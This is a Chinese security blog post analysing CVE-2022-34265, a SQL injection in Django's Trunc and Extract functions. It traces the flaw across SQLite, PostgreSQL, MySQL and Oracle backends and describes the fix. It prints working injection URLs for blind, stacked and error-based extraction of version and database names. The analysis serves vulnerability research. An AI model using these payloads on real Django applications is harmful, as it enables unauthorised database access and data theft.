CVE-2022-34265 Django SQL 注入漏洞调试分析

admin 2023年3月6日20:16:30评论21 views字数 9956阅读33分11秒阅读模式

前言

Django 这个漏洞 p 牛在小密圈里发过一些分析,有谈到过不同数据库的情况下,漏洞存在情况有异,其他复现的文章我也多少阅读过,大多是 PostgreSQL 和 MYSQL 的,并且有些仅谈到了其中一个漏洞函数,笔者个人是有些强迫症的—— Django 主流支持的数据库还有 Oracle 和 SQLite,payload 的构造也不尽相同,就想着自己搭建环境调试看看具体情况。

由于笔者个人水平有限,行文如有不当,还请各位师傅评论指正,非常感谢。

环境配置

环境使用的是作者提供的样例(基于官方文档的例子),当然 p 牛的 vulhub 也建议读者去复现一下(Trunc 的回显是非常直观的),如果读者有改动数据库的需求的话,直接在 settings.py 文件中修改 DATABASE 即可,笔者的配置如下,具体请根据注释修改。

# SQLite 配置# Django 默认数据库 SQLiteDATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}}# PostgreSQL 配置# 需要先 pip install psycopg2# 如果有问题,请走 https://github.com/psycopg/psycopg2# DATABASES = {# 'default': {# 'ENGINE': 'django.db.backends.postgresql',# 'NAME': '你的数据库名称',# 'USER': '数据库用户名',# 'PASSWORD': '数据库密码',# 'HOST': '127.0.0.1',# 'PORT': '默认是5432,视读者实际安装端口修改',# }# }# MYSQL 配置# 需要先 pip install mysqlclient# DATABASES = {# 'default': {# 'ENGINE': 'django.db.backends.mysql',# 'NAME': '你的数据库名称',# 'HOST': 'localhost',# 'PORT': '3306',# 'USER': '数据库用户名',# "PASSWORD": '数据库密码',# }# }# Oracle 配置# Oracle 的写法有两种,新安装的读者可以直接套用以下配置# DATABASES = {# 'default': {# 'ENGINE': 'django.db.backends.oracle',# 'NAME': 'localhost:1521/orcl',# 'USER': 'system',# 'PASSWORD': '数据库密码',# }# }

修改完后,根据自己的 appname 填入,执行以下命令生成实验表即可(如果你是用了作者的环境,直接执行第三条即可)。

python3 manage.py makemigrations [appname]
python3 manage.py sqlmigrate [appname] 0001
python3 manage.py migrate

VS 调试的话,配置 launch.json 中的 justMyCode 记得改为 false 才能调试到 Django 中的代码:

CVE-2022-34265 Django SQL 注入漏洞调试分析

漏洞详情

在受影响的 Django 版本中,如果 ORM 日期函数 Trunc() (其中参数 kind)和 Extract()(其中参数 lookup_name),在业务逻辑中前端页面没有进行输入过滤、转义,则可构造恶意 payload 导致 SQL 注入攻击。

将 lookup_name 和 kind 限制在已知安全列表中的应用程序不受影响。

官方通告:Django security releases issued: 4.0.6 and 3.2.14 | Weblog | Django (djangoproject.com)

影响版本

CVE-2022-34265 Django SQL 注入漏洞调试分析

漏洞函数介绍

简单来说 Extract() 通常用于提取日期一部分,比如我想要获取新海诚所有动漫电影上映的年份,侧重的是日期。

而 Trunc() 是聚合函数,常常用在统计某个日期的一部分所发生的事或者某一数据,比如我想要获取 2019 年上映了多少动漫电影、9 月某部电影的票房多少等等,侧重的是数据。

以下是官方文档的介绍供补充:

Extract() 常用于提取日期的一个组成部分作为一个数字。

具体参数设置:

CVE-2022-34265 Django SQL 注入漏洞调试分析

lookup_name 设置不同值的结果:

CVE-2022-34265 Django SQL 注入漏洞调试分析

上面的每个 lookup_name 都有一个相应的 Extract 子类(下面列出的),通常应该用这个子类来代替比较啰嗦的等价物,例如,使用 ExtractYear(...) 而不是 Extract(...,lookup_name='year')

Trunc() 用于截断日期的某一部分,它及其子类通常用于过滤或汇总数据(关心某事是否发生在某年、某小时或某天,而不关心确切的秒数时),比如用来计算每天的销售量。

具体参数设置:

CVE-2022-34265 Django SQL 注入漏洞调试分析

kind 设置不同值的结果:

CVE-2022-34265 Django SQL 注入漏洞调试分析

同样的,以上每个 kind 都有一个对应的 Trunc 子类(下面列出的),通常应该用这个子类来代替比较啰嗦的等价物,例如使用 TruncYear(...) 而不是 Trunc(...,kind='year')

审计调试

首先明确可控的参数,在漏洞详情中有提到过 Extract 中的 lookup_name 和 Trunc 中的 kind 这两个参数,这俩在调试过程中发现其实就是 lookup_type 。

因为具体过程比较复杂,在省略了一系列包括使用 F() 对象生成 sql 表达式、查找子类等等过程后,笔者总结形成 sql 的过程大致如下:

djangodbmodelsfunctionsdatetime.py -> class Extract / (class Trunc -> class TruncBase)

djangodbmodelsquery.py ->class QuerySet

Django 中对数据库的所有查询以及更新交互都是通过 QuerySet 来完成的,本质上是一个懒加载的对象,在内部,创建、过滤、切片和传递一个 QuerySet 不会真实操作数据库,在对查询集提交之前,不会发生任何实际的数据库操作。

djangodbmodelsfunctionsdatetime.py -> as_sql

as_sql 用于生成数据库函数的 SQL 片段,而针对 Oracle 后端数据库调用的是 as_oracle 。

djangodbmodelssqlcompiler.py -> class SQLCompile -> compile

compile 为每个表达式生成 sql,并将结果用逗号连接起来,然后在模板中填入数据,并返回 sql 和参数。

djangodbmodelslookups.py -> Lookup

最后笔者发现可以通过 djangodbbackends [数据库] operations.py (就是环境搭建部分 DATABASES 中 ENGINE 对应的配置)中的 datetime_extract_sql 以及 datetime_trunc_sql 方法对于 lookup_type 这个参数的处理来判断是否存在漏洞。

以下调试部分都基于上面总结的过程来进行分析。

SQLite

def datetime_extract_sql(self, lookup_type, field_name, tzname):
return "django_datetime_extract('%s', %s, %s, %s)" % (
lookup_type.lower(),
field_name,
*self._convert_tznames_to_sql(tzname),
)

def datetime_trunc_sql(self, lookup_type, field_name, tzname):
return "django_datetime_trunc('%s', %s, %s, %s)" % (
lookup_type.lower(),
field_name,
*self._convert_tznames_to_sql(tzname),
)

可以看到只是将值变小写了。

先看正常测试查询结果:

CVE-2022-34265 Django SQL 注入漏洞调试分析

调试过程中获取到 sql 语句如下:

SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" 
WHERE django_datetime_extract('year', "vulmodel_experiment"."start_datetime", NULL, NULL) = (django_datetime_extract('year', "vulmodel_experiment"."end_datetime", NULL, NULL))

调试中看到 year 作为 payload 拼接进语句,此前是毫无过滤的,因此造成了注入。

Trunc 函数的 sql 语句:

django_datetime_trunc('year', "vulmodel_experiment"."start_datetime", NULL, NULL)-- 查询语句SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE django_datetime_cast_date("vulmodel_experiment"."start_datetime", NULL, NULL) = (django_datetime_trunc('year', "vulmodel_experiment"."start_datetime", NULL, NULL))

由上可构造 poc(Extract 和 Trunc 的构造类同):

/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=1-- +
/extract/?lookup_name=year',end_datetime,NULL,NULL)) AND 1=2-- +

以上回显不同,可以使用盲注,另外 SQLite 没有 IF,用 CASE WHEN 即可。

PostgreSQL

def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)

def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
# https://www.postgresql.org/docs/current/functions-datetime.html#FUNCTIONS-DATETIME-TRUNC
return "DATE_TRUNC('%s', %s)" % (lookup_type, field_name)

date_extract_sql

def date_extract_sql(self, lookup_type, field_name):
...
else:
# 进入这个分支
return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)

Extract 的 sql 语句:

CVE-2022-34265 Django SQL 注入漏洞调试分析

调试获取到的 sql 语句如下:

EXTRACT('year' FROM "vulmodel_experiment"."start_datetime" AT TIME ZONE 'UTC')

Trunc 的 sql 语句:

CVE-2022-34265 Django SQL 注入漏洞调试分析

DATE_TRUNC('year', "vulmodel_experiment"."start_datetime");-- 查询语句如下SELECT "vulmodel_experiment"."id", "vulmodel_experiment"."start_datetime", "vulmodel_experiment"."start_date", "vulmodel_experiment"."start_time", "vulmodel_experiment"."end_datetime", "vulmodel_experiment"."end_date", "vulmodel_experiment"."end_time" FROM "vulmodel_experiment" WHERE ("vulmodel_experiment"."start_datetime")::date = (DATE_TRUNC('year', "vulmodel_experiment"."start_datetime"))

由上构造 payload:

/extract/?lookup_name=year' FROM start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +
/trunc/?kind=year', start_datetime)) OR 1=1;select cast((select version()) as numeric)-- +

报错注入如下:

CVE-2022-34265 Django SQL 注入漏洞调试分析

因此 Extract 和 Trunc 在 PostgreSQL 中是存在漏洞的。

MYSQL

def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)

def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
fields = ["year", "month", "day", "hour", "minute", "second"]
# 可以看到 fields 都有对应的 format 填充
format = (
"%%Y-",
"%%m",
"-%%d",
" %%H:",
"%%i",
":%%s",
) # Use double percents to escape.
format_def = ("0000-", "01", "-01", " 00:", "00", ":00")
if lookup_type == "quarter":
return (
"CAST(DATE_FORMAT(MAKEDATE(YEAR({field_name}), 1) + "
"INTERVAL QUARTER({field_name}) QUARTER - "
+ "INTERVAL 1 QUARTER, '%%Y-%%m-01 00:00:00') AS DATETIME)"
).format(field_name=field_name)
if lookup_type == "week":
return (
"CAST(DATE_FORMAT(DATE_SUB({field_name}, "
"INTERVAL WEEKDAY({field_name}) DAY), "
"'%%Y-%%m-%%d 00:00:00') AS DATETIME)"
).format(field_name=field_name)
try:
i = fields.index(lookup_type) + 1
except ValueError:
sql = field_name
else:
format_str = "".join(format[:i] + format_def[i:])
sql = "CAST(DATE_FORMAT(%s, '%s') AS DATETIME)" % (field_name, format_str)
return sql

就上面的来看 Trunc 是不存在漏洞的,都用对应 format 格式字符串代替了,来看 Extract 调用的 date_extract_sql

def date_extract_sql(self, lookup_type, field_name):
...
else:
# EXTRACT returns 1-53 based on ISO-8601 for the week number.
# 进入这个分支
return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)

不过是将值变为了大写。

下面调试获取 sql 语句看看:

CVE-2022-34265 Django SQL 注入漏洞调试分析

调试获取到 EXTRACT sql 语句如下:

EXTRACT(YEAR FROM `vulmodel_experiment`.`start_datetime`)

注意 MYSQL 中拼接没用单双引号。

payload 构造:

/extract/?lookup_name=year from start_datetime)) and updatexml(1,concat(1,database()),0)-- +

CVE-2022-34265 Django SQL 注入漏洞调试分析

接下来测试 Trunc 函数:

CVE-2022-34265 Django SQL 注入漏洞调试分析

调试获取到的 sql 语句如下:

CVE-2022-34265 Django SQL 注入漏洞调试分析

CAST(DATE_FORMAT(`vulmodel_experiment`.`start_datetime`, '%%Y-01-01 00:00:00') AS DATETIME)-- 查询语句SELECT `vulmodel_experiment`.`id`, `vulmodel_experiment`.`start_datetime`, `vulmodel_experiment`.`start_date`, `vulmodel_experiment`.`start_time`, `vulmodel_experiment`.`end_datetime`, `vulmodel_experiment`.`end_date`, `vulmodel_experiment`.`end_time` FROM `vulmodel_experiment` WHERE DATE(`vulmodel_experiment`.`start_datetime`) = (CAST(DATE_FORMAT(`vulmodel_experiment`.`start_datetime`, '%%Y-01-01 00:00:00') AS DATETIME)) LIMIT 21

可以看到与代码对应了,故 MYSQL 后端 Trunc 函数并不存在该漏洞。

Oracle

def datetime_extract_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
return self.date_extract_sql(lookup_type, field_name)

def datetime_trunc_sql(self, lookup_type, field_name, tzname):
field_name = self._convert_field_to_tz(field_name, tzname)
# https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/ROUND-and-TRUNC-Date-Functions.html
if lookup_type in ("year", "month"):
sql = "TRUNC(%s, '%s')" % (field_name, lookup_type.upper())
elif lookup_type == "quarter":
sql = "TRUNC(%s, 'Q')" % field_name
elif lookup_type == "week":
sql = "TRUNC(%s, 'IW')" % field_name
elif lookup_type == "day":
sql = "TRUNC(%s)" % field_name
elif lookup_type == "hour":
sql = "TRUNC(%s, 'HH24')" % field_name
elif lookup_type == "minute":
sql = "TRUNC(%s, 'MI')" % field_name
else:
# 进入这个分支
sql = (
"CAST(%s AS DATE)" % field_name
) # Cast to DATE removes sub-second precision.
return sql

可以看到 Trunc 是不存在的,拼接进去的只有 field_name,date_extract_sql 还是老样子改了个大写:

def date_extract_sql(self, lookup_type, field_name):
...
else:
# 进入这个分支
# https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/EXTRACT-datetime.html
return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)

Extract 调试:


CVE-2022-34265 Django SQL 注入漏洞调试分析

调试获取到的 sql 语句:

EXTRACT(YEAR FROM "VULMODEL_EXPERIMENT"."START_DATETIME")

payload 可类似构造如下(Oracle 不能堆叠注入):

/extract/?lookup_name=year from start_datetime)) and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))-- +



CVE-2022-34265 Django SQL 注入漏洞调试分析

接下来测试 Trunc 函数:

CVE-2022-34265 Django SQL 注入漏洞调试分析

sql 语句如下:

TRUNC("VULMODEL_EXPERIMENT"."START_DATETIME") = (CAST("VULMODEL_EXPERIMENT"."START_DATETIME" AS DATE))

没有 lookup_type 拼接入,所以 Oracle 后端 Trunc 也是不存在漏洞的。

修复总结

由上审计调试过程可以得出一个结论——在 Django 影响版本下, Extract 在常用四大数据库中是都存在漏洞的,而 Trunc 在 Oracle 和 MYSQL 作为后端数据库时并不存在漏洞,其他比如 MariaDB 是同 MYSQL 共享后端的,漏洞存在情况应同 MYSQL 一致,而其他第三方数据库支持的 Django 版本和 ORM 功能有很大的不同,这些都要具体情况具体分析了。

来看看是怎么修复的:

4.0.x 的补丁

3.2.x 的补丁

CVE-2022-34265 Django SQL 注入漏洞调试分析

可以看到在 base 模块(因为 Django 是子类化内置数据库后端的)加了一个正则匹配,而之后在 as_sql 生成 sql 片段时就做了一个判断,提前做好了过滤:CVE-2022-34265 Django SQL 注入漏洞调试分析

参考文档

数据库函数 | Django 文档 | Django (djangoproject.com)

GitHub - aeyesec/CVE-2022-34265: PoC for CVE-2022-34265 (Django)

以及 p 牛在《代码审计》知识星球中的分析。


来源先知(https://xz.aliyun.com/t/11628#toc-0)


注:如有绘画请联系删除





CVE-2022-34265 Django SQL 注入漏洞调试分析

欢迎大家一起加群讨论学习和交流

CVE-2022-34265 Django SQL 注入漏洞调试分析

快乐要懂得分享,

加倍的快乐。

原文始发于微信公众号(衡阳信安):CVE-2022-34265 Django SQL 注入漏洞调试分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月6日20:16:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-34265 Django SQL 注入漏洞调试分析https://cn-sec.com/archives/1253222.html

发表评论

匿名网友 填写信息